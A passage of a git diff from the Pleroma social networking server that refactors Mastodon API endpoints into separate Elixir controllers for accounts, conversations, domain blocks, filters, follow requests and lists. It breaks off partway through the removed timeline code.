|> Map.put("nickname", nickname) + |> Map.put("fullname", params["fullname"] || nickname) + |> Map.put("bio", params["bio"] || "") + |> Map.put("confirm", params["password"]) + + with {:ok, user} <- TwitterAPI.register_user(params, need_confirmation: true), + {:ok, token} <- Token.create_token(app, user, %{scopes: app.scopes}) do + json(conn, %{ + token_type: "Bearer", + access_token: token.token, + scope: app.scopes, + created_at: Token.Utils.format_created_at(token) + }) + else + {:error, errors} -> json_response(conn, :bad_request, errors) + end + end + + def create(%{assigns: %{app: _app}} = conn, _) do + render_error(conn, :bad_request, "Missing parameters") + end + + def create(conn, _) do + render_error(conn, :forbidden, "Invalid credentials") + end + + @doc "GET /api/v1/accounts/verify_credentials" + def verify_credentials(%{assigns: %{user: user}} = conn, _) do + chat_token = Phoenix.Token.sign(conn, "user socket", user.id) + + render(conn, "show.json", + user: user, + for: user, + with_pleroma_settings: true, + with_chat_token: chat_token + ) + end + + @doc "PATCH /api/v1/accounts/update_credentials" + def update_credentials(%{assigns: %{user: original_user}} = conn, params) do + user = original_user + + user_params = + %{} + |> add_if_present(params, "display_name", :name) + |> add_if_present(params, "note", :bio, fn value -> {:ok, User.parse_bio(value, user)} end) + |> add_if_present(params, "avatar", :avatar, fn value -> + with %Plug.Upload{} <- value, + {:ok, object} <- ActivityPub.upload(value, type: :avatar) do + {:ok, object.data} + end + end) + + emojis_text = (user_params["display_name"] || "") <> (user_params["note"] || "") + + user_info_emojis = + user.info + |> Map.get(:emoji, []) + |> Enum.concat(Emoji.Formatter.get_emoji_map(emojis_text)) + |> Enum.dedup() + + info_params = + [ + :no_rich_text, + :locked, + :hide_followers_count, + :hide_follows_count, + :hide_followers, + :hide_follows, + :hide_favorites, + :show_role, + :skip_thread_containment, + :discoverable + ] + |> Enum.reduce(%{}, fn key, acc -> + add_if_present(acc, params, to_string(key), key, &{:ok, truthy_param?(&1)}) + end) + |> add_if_present(params, "default_scope", :default_scope) + |> add_if_present(params, "fields", :fields, fn fields -> + fields = Enum.map(fields, fn f -> Map.update!(f, "value", &AutoLinker.link(&1)) end) + + {:ok, fields} + end) + |> add_if_present(params, "fields", :raw_fields) + |> add_if_present(params, "pleroma_settings_store", :pleroma_settings_store, fn value -> + {:ok, Map.merge(user.info.pleroma_settings_store, value)} + end) + |> add_if_present(params, "header", :banner, fn value -> + with %Plug.Upload{} <- value, + {:ok, object} <- ActivityPub.upload(value, type: :banner) do + {:ok, object.data} + end + end) + |> add_if_present(params, "pleroma_background_image", :background, fn value -> + with %Plug.Upload{} <- value, + {:ok, object} <- ActivityPub.upload(value, type: :background) do + {:ok, object.data} + end + end) + |> Map.put(:emoji, user_info_emojis) + + changeset = + user + |> User.update_changeset(user_params) + |> User.change_info(&User.Info.profile_update(&1, info_params)) + + with {:ok, user} <- User.update_and_set_cache(changeset) do + if original_user != user, do: CommonAPI.update(user) + + render(conn, "show.json", user: user, for: user, with_pleroma_settings: true) + else + _e -> render_error(conn, :forbidden, "Invalid request") + end + end + + defp add_if_present(map, params, params_field, map_field, value_function \\ &{:ok, &1}) do + with true <- Map.has_key?(params, params_field), + {:ok, new_value} <- value_function.(params[params_field]) do + Map.put(map, map_field, new_value) + else + _ -> map + end + end + + @doc "GET /api/v1/accounts/relationships" + def relationships(%{assigns: %{user: user}} = conn, %{"id" => id}) do + targets = User.get_all_by_ids(List.wrap(id)) + + render(conn, "relationships.json", user: user, targets: targets) + end + + # Instead of returning a 400 when no "id" params is present, Mastodon returns an empty array. + def relationships(%{assigns: %{user: _user}} = conn, _), do: json(conn, []) + + @doc "GET /api/v1/accounts/:id" + def show(%{assigns: %{user: for_user}} = conn, %{"id" => nickname_or_id}) do + with %User{} = user <- User.get_cached_by_nickname_or_id(nickname_or_id, for: for_user), + true <- User.auth_active?(user) || user.id == for_user.id || User.superuser?(for_user) do + render(conn, "show.json", user: user, for: for_user) + else + _e -> render_error(conn, :not_found, "Can't find user") + end + end + + @doc "GET /api/v1/accounts/:id/statuses" + def statuses(%{assigns: %{user: reading_user}} = conn, params) do + with %User{} = user <- User.get_cached_by_nickname_or_id(params["id"], for: reading_user) do + params = Map.put(params, "tag", params["tagged"]) + activities = ActivityPub.fetch_user_activities(user, reading_user, params) + + conn + |> add_link_headers(activities) + |> put_view(StatusView) + |> render("index.json", activities: activities, for: reading_user, as: :activity) + end + end + + @doc "GET /api/v1/accounts/:id/followers" + def followers(%{assigns: %{user: for_user, account: user}} = conn, params) do + followers = + cond do + for_user && user.id == for_user.id -> MastodonAPI.get_followers(user, params) + user.info.hide_followers -> [] + true -> MastodonAPI.get_followers(user, params) + end + + conn + |> add_link_headers(followers) + |> render("index.json", for: for_user, users: followers, as: :user) + end + + @doc "GET /api/v1/accounts/:id/following" + def following(%{assigns: %{user: for_user, account: user}} = conn, params) do + followers = + cond do + for_user && user.id == for_user.id -> MastodonAPI.get_friends(user, params) + user.info.hide_follows -> [] + true -> MastodonAPI.get_friends(user, params) + end + + conn + |> add_link_headers(followers) + |> render("index.json", for: for_user, users: followers, as: :user) + end + + @doc "GET /api/v1/accounts/:id/lists" + def lists(%{assigns: %{user: user, account: account}} = conn, _params) do + lists = Pleroma.List.get_lists_account_belongs(user, account) + + conn + |> put_view(ListView) + |> render("index.json", lists: lists) + end + + @doc "POST /api/v1/accounts/:id/follow" + def follow(%{assigns: %{user: %{id: id}, account: %{id: id}}}, _params) do + {:error, :not_found} + end + + def follow(%{assigns: %{user: follower, account: followed}} = conn, _params) do + with {:ok, follower} <- MastodonAPI.follow(follower, followed, conn.params) do + render(conn, "relationship.json", user: follower, target: followed) + else + {:error, message} -> json_response(conn, :forbidden, %{error: message}) + end + end + + @doc "POST /api/v1/accounts/:id/unfollow" + def unfollow(%{assigns: %{user: %{id: id}, account: %{id: id}}}, _params) do + {:error, :not_found} + end + + def unfollow(%{assigns: %{user: follower, account: followed}} = conn, _params) do + with {:ok, follower} <- CommonAPI.unfollow(follower, followed) do + render(conn, "relationship.json", user: follower, target: followed) + end + end + + @doc "POST /api/v1/accounts/:id/mute" + def mute(%{assigns: %{user: muter, account: muted}} = conn, params) do + notifications? = params |> Map.get("notifications", true) |> truthy_param?() + + with {:ok, muter} <- User.mute(muter, muted, notifications?) do + render(conn, "relationship.json", user: muter, target: muted) + else + {:error, message} -> json_response(conn, :forbidden, %{error: message}) + end + end + + @doc "POST /api/v1/accounts/:id/unmute" + def unmute(%{assigns: %{user: muter, account: muted}} = conn, _params) do + with {:ok, muter} <- User.unmute(muter, muted) do + render(conn, "relationship.json", user: muter, target: muted) + else + {:error, message} -> json_response(conn, :forbidden, %{error: message}) + end + end + + @doc "POST /api/v1/accounts/:id/block" + def block(%{assigns: %{user: blocker, account: blocked}} = conn, _params) do + with {:ok, blocker} <- User.block(blocker, blocked), + {:ok, _activity} <- ActivityPub.block(blocker, blocked) do + render(conn, "relationship.json", user: blocker, target: blocked) + else + {:error, message} -> json_response(conn, :forbidden, %{error: message}) + end + end + + @doc "POST /api/v1/accounts/:id/unblock" + def unblock(%{assigns: %{user: blocker, account: blocked}} = conn, _params) do + with {:ok, blocker} <- User.unblock(blocker, blocked), + {:ok, _activity} <- ActivityPub.unblock(blocker, blocked) do + render(conn, "relationship.json", user: blocker, target: blocked) + else + {:error, message} -> json_response(conn, :forbidden, %{error: message}) + end + end + + @doc "GET /api/v1/endorsements" + def endorsements(conn, params), + do: Pleroma.Web.MastodonAPI.MastodonAPIController.empty_array(conn, params) +end diff --git a/lib/pleroma/web/mastodon_api/controllers/conversation_controller.ex b/lib/pleroma/web/mastodon_api/controllers/conversation_controller.ex new file mode 100644 index 000000000..6c0584c54 --- /dev/null +++ b/lib/pleroma/web/mastodon_api/controllers/conversation_controller.ex @@ -0,0 +1,38 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.ConversationController do + use Pleroma.Web, :controller + + import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2] + + alias Pleroma.Conversation.Participation + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.Repo + + action_fallback(Pleroma.Web.MastodonAPI.FallbackController) + + plug(OAuthScopesPlug, %{scopes: ["read:statuses"]} when action == :index) + plug(OAuthScopesPlug, %{scopes: ["write:conversations"]} when action == :read) + + plug(Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug) + + @doc "GET /api/v1/conversations" + def index(%{assigns: %{user: user}} = conn, params) do + participations = Participation.for_user_with_last_activity_id(user, params) + + conn + |> add_link_headers(participations) + |> render("participations.json", participations: participations, for: user) + end + + @doc "POST /api/v1/conversations/:id/read" + def read(%{assigns: %{user: user}} = conn, %{"id" => participation_id}) do + with %Participation{} = participation <- + Repo.get_by(Participation, id: participation_id, user_id: user.id), + {:ok, participation} <- Participation.mark_as_read(participation) do + render(conn, "participation.json", participation: participation, for: user) + end + end +end diff --git a/lib/pleroma/web/mastodon_api/controllers/domain_block_controller.ex b/lib/pleroma/web/mastodon_api/controllers/domain_block_controller.ex new file mode 100644 index 000000000..45c5ef8a4 --- /dev/null +++ b/lib/pleroma/web/mastodon_api/controllers/domain_block_controller.ex @@ -0,0 +1,37 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.DomainBlockController do + use Pleroma.Web, :controller + + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.User + + plug( + OAuthScopesPlug, + %{scopes: ["follow", "read:blocks"]} when action == :index + ) + + plug( + OAuthScopesPlug, + %{scopes: ["follow", "write:blocks"]} when action != :index + ) + + @doc "GET /api/v1/domain_blocks" + def index(%{assigns: %{user: %{info: info}}} = conn, _) do + json(conn, Map.get(info, :domain_blocks, [])) + end + + @doc "POST /api/v1/domain_blocks" + def create(%{assigns: %{user: blocker}} = conn, %{"domain" => domain}) do + User.block_domain(blocker, domain) + json(conn, %{}) + end + + @doc "DELETE /api/v1/domain_blocks" + def delete(%{assigns: %{user: blocker}} = conn, %{"domain" => domain}) do + User.unblock_domain(blocker, domain) + json(conn, %{}) + end +end diff --git a/lib/pleroma/web/mastodon_api/controllers/filter_controller.ex b/lib/pleroma/web/mastodon_api/controllers/filter_controller.ex new file mode 100644 index 000000000..cadef72e1 --- /dev/null +++ b/lib/pleroma/web/mastodon_api/controllers/filter_controller.ex @@ -0,0 +1,84 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.FilterController do + use Pleroma.Web, :controller + + alias Pleroma.Filter + alias Pleroma.Plugs.OAuthScopesPlug + + @oauth_read_actions [:show, :index] + + plug(OAuthScopesPlug, %{scopes: ["read:filters"]} when action in @oauth_read_actions) + + plug( + OAuthScopesPlug, + %{scopes: ["write:filters"]} when action not in @oauth_read_actions + ) + + plug(Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug) + + @doc "GET /api/v1/filters" + def index(%{assigns: %{user: user}} = conn, _) do + filters = Filter.get_filters(user) + + render(conn, "filters.json", filters: filters) + end + + @doc "POST /api/v1/filters" + def create( + %{assigns: %{user: user}} = conn, + %{"phrase" => phrase, "context" => context} = params + ) do + query = %Filter{ + user_id: user.id, + phrase: phrase, + context: context, + hide: Map.get(params, "irreversible", false), + whole_word: Map.get(params, "boolean", true) + # expires_at + } + + {:ok, response} = Filter.create(query) + + render(conn, "filter.json", filter: response) + end + + @doc "GET /api/v1/filters/:id" + def show(%{assigns: %{user: user}} = conn, %{"id" => filter_id}) do + filter = Filter.get(filter_id, user) + + render(conn, "filter.json", filter: filter) + end + + @doc "PUT /api/v1/filters/:id" + def update( + %{assigns: %{user: user}} = conn, + %{"phrase" => phrase, "context" => context, "id" => filter_id} = params + ) do + query = %Filter{ + user_id: user.id, + filter_id: filter_id, + phrase: phrase, + context: context, + hide: Map.get(params, "irreversible", nil), + whole_word: Map.get(params, "boolean", true) + # expires_at + } + + {:ok, response} = Filter.update(query) + render(conn, "filter.json", filter: response) + end + + @doc "DELETE /api/v1/filters/:id" + def delete(%{assigns: %{user: user}} = conn, %{"id" => filter_id}) do + query = %Filter{ + user_id: user.id, + filter_id: filter_id + } + + {:ok, _} = Filter.delete(query) + json(conn, %{}) + end +end diff --git a/lib/pleroma/web/mastodon_api/controllers/follow_request_controller.ex b/lib/pleroma/web/mastodon_api/controllers/follow_request_controller.ex new file mode 100644 index 000000000..06672e2bb --- /dev/null +++ b/lib/pleroma/web/mastodon_api/controllers/follow_request_controller.ex @@ -0,0 +1,57 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.FollowRequestController do + use Pleroma.Web, :controller + + alias Pleroma.Plugs.OAuthScopesPlug + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + plug(:put_view, Pleroma.Web.MastodonAPI.AccountView) + plug(:assign_follower when action != :index) + + action_fallback(:errors) + + plug(OAuthScopesPlug, %{scopes: ["follow", "read:follows"]} when action == :index) + + plug( + OAuthScopesPlug, + %{scopes: ["follow", "write:follows"]} when action != :index + ) + + @doc "GET /api/v1/follow_requests" + def index(%{assigns: %{user: followed}} = conn, _params) do + follow_requests = User.get_follow_requests(followed) + + render(conn, "index.json", for: followed, users: follow_requests, as: :user) + end + + @doc "POST /api/v1/follow_requests/:id/authorize" + def authorize(%{assigns: %{user: followed, follower: follower}} = conn, _params) do + with {:ok, follower} <- CommonAPI.accept_follow_request(follower, followed) do + render(conn, "relationship.json", user: followed, target: follower) + end + end + + @doc "POST /api/v1/follow_requests/:id/reject" + def reject(%{assigns: %{user: followed, follower: follower}} = conn, _params) do + with {:ok, follower} <- CommonAPI.reject_follow_request(follower, followed) do + render(conn, "relationship.json", user: followed, target: follower) + end + end + + defp assign_follower(%{params: %{"id" => id}} = conn, _) do + case User.get_cached_by_id(id) do + %User{} = follower -> assign(conn, :follower, follower) + nil -> Pleroma.Web.MastodonAPI.FallbackController.call(conn, {:error, :not_found}) |> halt() + end + end + + defp errors(conn, {:error, message}) do + conn + |> put_status(:forbidden) + |> json(%{error: message}) + end +end diff --git a/lib/pleroma/web/mastodon_api/controllers/list_controller.ex b/lib/pleroma/web/mastodon_api/controllers/list_controller.ex index be7089630..e0ffdba21 100644 --- a/lib/pleroma/web/mastodon_api/controllers/list_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/list_controller.ex @@ -19,6 +19,8 @@ defmodule Pleroma.Web.MastodonAPI.ListController do when action in [:create, :update, :delete, :add_to_list, :remove_from_list] ) + plug(Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug) + action_fallback(Pleroma.Web.MastodonAPI.FallbackController) # GET /api/v1/lists @@ -58,7 +60,7 @@ def list_accounts(%{assigns: %{user: user, list: list}} = conn, _) do with {:ok, users} <- Pleroma.List.get_following(list) do conn |> put_view(AccountView) - |> render("accounts.json", for: user, users: users, as: :user) + |> render("index.json", for: user, users: users, as: :user) end end diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex index b1e9dee3d..ee644abe3 100644 --- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex @@ -5,24 +5,17 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do use Pleroma.Web, :controller - import Pleroma.Web.ControllerHelper, - only: [json_response: 3, add_link_headers: 2, add_link_headers: 3] + import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2] - alias Ecto.Changeset alias Pleroma.Activity alias Pleroma.Bookmark alias Pleroma.Config - alias Pleroma.Conversation.Participation - alias Pleroma.Filter - alias Pleroma.Formatter alias Pleroma.HTTP - alias Pleroma.Notification alias Pleroma.Object alias Pleroma.Pagination alias Pleroma.Plugs.OAuthScopesPlug alias Pleroma.Plugs.RateLimiter alias Pleroma.Repo - alias Pleroma.ScheduledActivity alias Pleroma.Stats alias Pleroma.User alias Pleroma.Web @@ -31,14 +24,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do alias Pleroma.Web.CommonAPI alias Pleroma.Web.MastodonAPI.AccountView alias Pleroma.Web.MastodonAPI.AppView - alias Pleroma.Web.MastodonAPI.ConversationView - alias Pleroma.Web.MastodonAPI.FilterView - alias Pleroma.Web.MastodonAPI.ListView - alias Pleroma.Web.MastodonAPI.MastodonAPI alias Pleroma.Web.MastodonAPI.MastodonView - alias Pleroma.Web.MastodonAPI.NotificationView - alias Pleroma.Web.MastodonAPI.ReportView - alias Pleroma.Web.MastodonAPI.ScheduledActivityView alias Pleroma.Web.MastodonAPI.StatusView alias Pleroma.Web.MediaProxy alias Pleroma.Web.OAuth.App @@ -47,11 +33,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do alias Pleroma.Web.OAuth.Token alias Pleroma.Web.TwitterAPI.TwitterAPI - alias Pleroma.Web.ControllerHelper - import Ecto.Query - require Logger - require Pleroma.Constants @unauthenticated_access %{fallback: :proceed_unauthenticated, scopes: []} @@ -67,204 +49,51 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do %{scopes: ["read"]} when action in [:suggestions, :verify_app_credentials] ) - plug( - OAuthScopesPlug, - %{scopes: ["write:accounts"]} - # Note: the following actions are not permission-secured in Mastodon: - when action in [ - :put_settings, - :update_avatar, - :update_banner, - :update_background, - :set_mascot - ] - ) + plug(OAuthScopesPlug, %{scopes: ["write:accounts"]} when action == :put_settings) plug( OAuthScopesPlug, - %{scopes: ["write:accounts"]} - when action in [:pin_status, :unpin_status, :update_credentials] + %{@unauthenticated_access | scopes: ["read:statuses"]} when action == :get_poll ) - plug( - OAuthScopesPlug, - %{scopes: ["read:statuses"]} - when action in [ - :conversations, - :scheduled_statuses, - :show_scheduled_status, - :home_timeline, - :dm_timeline - ] - ) + plug(OAuthScopesPlug, %{scopes: ["write:statuses"]} when action == :poll_vote) - plug( - OAuthScopesPlug, - %{@unauthenticated_access | scopes: ["read:statuses"]} - when action in [ - :user_statuses, - :get_statuses, - :get_status, - :get_context, - :status_card, - :get_poll - ] - ) - - plug( - OAuthScopesPlug, - %{scopes: ["write:statuses"]} - when action in [ - :update_scheduled_status, - :delete_scheduled_status, - :post_status, - :delete_status, - :reblog_status, - :unreblog_status, - :poll_vote - ] - ) - - plug(OAuthScopesPlug, %{scopes: ["write:conversations"]} when action == :conversation_read) - - plug( - OAuthScopesPlug, - %{scopes: ["read:accounts"]} - when action in [:endorsements, :verify_credentials, :followers, :following, :get_mascot] - ) - - plug( - OAuthScopesPlug, - %{@unauthenticated_access | scopes: ["read:accounts"]} - when action in [:user, :favourited_by, :reblogged_by] - ) - - plug( - OAuthScopesPlug, - %{scopes: ["read:favourites"]} when action in [:favourites, :user_favourites] - ) - - plug( - OAuthScopesPlug, - %{scopes: ["write:favourites"]} when action in [:fav_status, :unfav_status] - ) - - plug(OAuthScopesPlug, %{scopes: ["read:filters"]} when action in [:get_filters, :get_filter]) - - plug( - OAuthScopesPlug, - %{scopes: ["write:filters"]} when action in [:create_filter, :update_filter, :delete_filter] - ) - - plug(OAuthScopesPlug, %{scopes: ["read:lists"]} when action in [:account_lists, :list_timeline]) + plug(OAuthScopesPlug, %{scopes: ["read:favourites"]} when action == :favourites) plug(OAuthScopesPlug, %{scopes: ["write:media"]} when action in [:upload, :update_media]) plug( OAuthScopesPlug, - %{scopes: ["read:notifications"]} when action in [:notifications, :get_notification] + %{scopes: ["follow", "read:blocks"]} when action == :blocks ) + # To do: POST /api/v1/follows is not present in Mastodon; consider removing the action plug( OAuthScopesPlug, - %{scopes: ["write:notifications"]} - when action in [:clear_notifications, :dismiss_notification, :destroy_multiple_notifications] - ) - - plug( - OAuthScopesPlug, - %{scopes: ["write:reports"]} - when action in [:create_report, :report_update_state, :report_respond] - ) - - plug( - OAuthScopesPlug, - %{scopes: ["follow", "read:blocks"]} when action in [:blocks, :domain_blocks] - ) - - plug( - OAuthScopesPlug, - %{scopes: ["follow", "write:blocks"]} - when action in [:block, :unblock, :block_domain, :unblock_domain] - ) - - plug(OAuthScopesPlug, %{scopes: ["read:follows"]} when action == :relationships) - plug(OAuthScopesPlug, %{scopes: ["follow", "read:follows"]} when action == :follow_requests) - - plug( - OAuthScopesPlug, - %{scopes: ["follow", "write:follows"]} - when action in [ - :follow, - :unfollow, - :subscribe, - :unsubscribe, - :authorize_follow_request, - :reject_follow_request - ] + %{scopes: ["follow", "write:follows"]} when action == :follows ) plug(OAuthScopesPlug, %{scopes: ["follow", "read:mutes"]} when action == :mutes) - plug(OAuthScopesPlug, %{scopes: ["follow", "write:mutes"]} when action in [:mute, :unmute]) - plug( - OAuthScopesPlug, - %{scopes: ["write:mutes"]} when action in [:mute_conversation, :unmute_conversation] - ) - - # Note: scopes not present in Mastodon: read:bookmarks, write:bookmarks + # Note: scope not present in Mastodon: read:bookmarks plug(OAuthScopesPlug, %{scopes: ["read:bookmarks"]} when action == :bookmarks) - plug( - OAuthScopesPlug, - %{scopes: ["write:bookmarks"]} when action in [:bookmark_status, :unbookmark_status] - ) - # An extra safety measure for possible actions not guarded by OAuth permissions specification plug( Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug when action not in [ - :account_register, :create_app, :index, :login, :logout, :password_reset, - :account_confirmation_resend, :masto_instance, :peers, :custom_emojis ] ) - @rate_limited_relations_actions ~w(follow unfollow)a - - @rate_limited_status_actions ~w(reblog_status unreblog_status fav_status unfav_status - post_status delete_status)a - - plug( - RateLimiter, - {:status_id_action, bucket_name: "status_id_action:reblog_unreblog", params: ["id"]} - when action in ~w(reblog_status unreblog_status)a - ) - - plug( - RateLimiter, - {:status_id_action, bucket_name: "status_id_action:fav_unfav", params: ["id"]} - when action in ~w(fav_status unfav_status)a - ) - - plug( - RateLimiter, - {:relations_id_action, params: ["id", "uri"]} when action in @rate_limited_relations_actions - ) - - plug(RateLimiter, :relations_actions when action in @rate_limited_relations_actions) - plug(RateLimiter, :statuses_actions when action in @rate_limited_status_actions) - plug(RateLimiter, :app_account_creation when action == :account_register) - plug(RateLimiter, :search when action in [:search, :search2, :account_search]) plug(RateLimiter, :password_reset when action == :password_reset) - plug(RateLimiter, :account_confirmation_resend when action == :account_confirmation_resend) @local_mastodon_name "Mastodon-Local" @@ -287,187 +116,6 @@ def create_app(conn, params) do end end - defp add_if_present( - map, - params, - params_field, - map_field, - value_function \\ fn x -> {:ok, x} end - ) do - if Map.has_key?(params, params_field) do - case value_function.(params[params_field]) do - {:ok, new_value} -> Map.put(map, map_field, new_value) - :error -> map - end - else - map - end - end - - def update_credentials(%{assigns: %{user: user}} = conn, params) do - original_user = user - - user_params = - %{} - |> add_if_present(params, "display_name", :name) - |> add_if_present(params, "note", :bio, fn value -> {:ok, User.parse_bio(value, user)} end) - |> add_if_present(params, "avatar", :avatar, fn value -> - with %Plug.Upload{} <- value, - {:ok, object} <- ActivityPub.upload(value, type: :avatar) do - {:ok, object.data} - else - _ -> :error - end - end) - - emojis_text = (user_params["display_name"] || "") <> (user_params["note"] || "") - - user_info_emojis = - user.info - |> Map.get(:emoji, []) - |> Enum.concat(Formatter.get_emoji_map(emojis_text)) - |> Enum.dedup() - - info_params = - [ - :no_rich_text, - :locked, - :hide_followers_count, - :hide_follows_count, - :hide_followers, - :hide_follows, - :hide_favorites, - :show_role, - :skip_thread_containment - ] - |> Enum.reduce(%{}, fn key, acc -> - add_if_present(acc, params, to_string(key), key, fn value -> - {:ok, ControllerHelper.truthy_param?(value)} - end) - end) - |> add_if_present(params, "default_scope", :default_scope) - |> add_if_present(params, "fields", :fields, fn fields -> - fields = Enum.map(fields, fn f -> Map.update!(f, "value", &AutoLinker.link(&1)) end) - - {:ok, fields} - end) - |> add_if_present(params, "fields", :raw_fields) - |> add_if_present(params, "pleroma_settings_store", :pleroma_settings_store, fn value -> - {:ok, Map.merge(user.info.pleroma_settings_store, value)} - end) - |> add_if_present(params, "header", :banner, fn value -> - with %Plug.Upload{} <- value, - {:ok, object} <- ActivityPub.upload(value, type: :banner) do - {:ok, object.data} - else - _ -> :error - end - end) - |> add_if_present(params, "pleroma_background_image", :background, fn value -> - with %Plug.Upload{} <- value, - {:ok, object} <- ActivityPub.upload(value, type: :background) do - {:ok, object.data} - else - _ -> :error - end - end) - |> Map.put(:emoji, user_info_emojis) - - info_cng = User.Info.profile_update(user.info, info_params) - - with changeset <- User.update_changeset(user, user_params), - changeset <- Changeset.put_embed(changeset, :info, info_cng), - {:ok, user} <- User.update_and_set_cache(changeset) do - if original_user != user do - CommonAPI.update(user) - end - - json( - conn, - AccountView.render("account.json", %{user: user, for: user, with_pleroma_settings: true}) - ) - else - _e -> render_error(conn, :forbidden, "Invalid request") - end - end - - def update_avatar(%{assigns: %{user: user}} = conn, %{"img" => ""}) do - change = Changeset.change(user, %{avatar: nil}) - {:ok, user} = User.update_and_set_cache(change) - CommonAPI.update(user) - - json(conn, %{url: nil}) - end - - def update_avatar(%{assigns: %{user: user}} = conn, params) do - {:ok, object} = ActivityPub.upload(params, type: :avatar) - change = Changeset.change(user, %{avatar: object.data}) - {:ok, user} = User.update_and_set_cache(change) - CommonAPI.update(user) - %{"url" => [%{"href" => href} | _]} = object.data - - json(conn, %{url: href}) - end - - def update_banner(%{assigns: %{user: user}} = conn, %{"banner" => ""}) do - with new_info <- %{"banner" => %{}}, - info_cng <- User.Info.profile_update(user.info, new_info), - changeset <- Changeset.change(user) |> Changeset.put_embed(:info, info_cng), - {:ok, user} <- User.update_and_set_cache(changeset) do - CommonAPI.update(user) - - json(conn, %{url: nil}) - end - end - - def update_banner(%{assigns: %{user: user}} = conn, params) do - with {:ok, object} <- ActivityPub.upload(%{"img" => params["banner"]}, type: :banner), - new_info <- %{"banner" => object.data}, - info_cng <- User.Info.profile_update(user.info, new_info), - changeset <- Changeset.change(user) |> Changeset.put_embed(:info, info_cng), - {:ok, user} <- User.update_and_set_cache(changeset) do - CommonAPI.update(user) - %{"url" => [%{"href" => href} | _]} = object.data - - json(conn, %{url: href}) - end - end - - def update_background(%{assigns: %{user: user}} = conn, %{"img" => ""}) do - with new_info <- %{"background" => %{}}, - info_cng <- User.Info.profile_update(user.info, new_info), - changeset <- Changeset.change(user) |> Changeset.put_embed(:info, info_cng), - {:ok, _user} <- User.update_and_set_cache(changeset) do - json(conn, %{url: nil}) - end - end - - def update_background(%{assigns: %{user: user}} = conn, params) do - with {:ok, object} <- ActivityPub.upload(params, type: :background), - new_info <- %{"background" => object.data}, - info_cng <- User.Info.profile_update(user.info, new_info), - changeset <- Changeset.change(user) |> Changeset.put_embed(:info, info_cng), - {:ok, _user} <- User.update_and_set_cache(changeset) do - %{"url" => [%{"href" => href} | _]} = object.data - - json(conn, %{url: href}) - end - end - - def verify_credentials(%{assigns: %{user: user}} = conn, _) do - chat_token = Phoenix.Token.sign(conn, "user socket", user.id) - - account = - AccountView.render("account.json", %{ - user: user, - for: user, - with_pleroma_settings: true, - with_chat_token: chat_token - }) - - json(conn, account) - end - def verify_app_credentials(%{assigns: %{user: _user, token: token}} = conn, _) do with %Token{app: %App{} = app} <- Repo.preload(token, :app) do conn @@ -476,16 +124,6 @@ def verify_app_credentials(%{assigns: %{user: _user, token: token}} = conn, _) d end end - def user(%{assigns: %{user: for_user}} = conn, %{"id" => nickname_or_id}) do - with %User{} = user <- User.get_cached_by_nickname_or_id(nickname_or_id, for: for_user), - true <- User.auth_active?(user) || user.id == for_user.id || User.superuser?(for_user) do - account = AccountView.render("account.json", %{user: user, for: for_user}) - json(conn, account) - else - _e -> render_error(conn, :not_found, "Can't find user") - end - end - @mastodon_api_level "2.7.2" def masto_instance(conn, _params) do @@ -518,7 +156,7 @@ def peers(conn, _params) do defp mastodonized_emoji do Pleroma.Emoji.get_all() - |> Enum.map(fn {shortcode, relative_url, tags} -> + |> Enum.map(fn {shortcode, %Pleroma.Emoji{file: relative_url, tags: tags}} -> url = to_string(URI.merge(Web.base_url(), relative_url)) %{ @@ -538,139 +176,6 @@ def custom_emojis(conn, _params) do json(conn, mastodon_emoji) end - def home_timeline(%{assigns: %{user: user}} = conn, params) do - params = - params - |> Map.put("type", ["Create", "Announce"]) - |> Map.put("blocking_user", user) - |> Map.put("muting_user", user) - |> Map.put("user", user) - - activities = - [user.ap_id | user.following] - |> ActivityPub.fetch_activities(params) - |> Enum.reverse() - - conn - |> add_link_headers(activities) - |> put_view(StatusView) - |> render("index.json", %{activities: activities, for: user, as: :activity}) - end - - def public_timeline(%{assigns: %{user: user}} = conn, params) do - local_only = params["local"] in [true, "True", "true", "1"] - - activities = - params - |> Map.put("type", ["Create", "Announce"]) - |> Map.put("local_only", local_only) - |> Map.put("blocking_user", user) - |> Map.put("muting_user", user) - |> Map.put("user", user) - |> ActivityPub.fetch_public_activities() - |> Enum.reverse() - - conn - |> add_link_headers(activities, %{"local" => local_only}) - |> put_view(StatusView) - |> render("index.json", %{activities: activities, for: user, as: :activity}) - end - - def user_statuses(%{assigns: %{user: reading_user}} = conn, params) do - with %User{} = user <- User.get_cached_by_nickname_or_id(params["id"], for: reading_user) do - params = - params - |> Map.put("tag", params["tagged"]) - - activities = ActivityPub.fetch_user_activities(user, reading_user, params) - - conn - |> add_link_headers(activities) - |> put_view(StatusView) - |> render("index.json", %{ - activities: activities, - for: reading_user, - as: :activity - }) - end - end - - def dm_timeline(%{assigns: %{user: user}} = conn, params) do - params = - params - |> Map.put("type", "Create") - |> Map.put("blocking_user", user) - |> Map.put("user", user) - |> 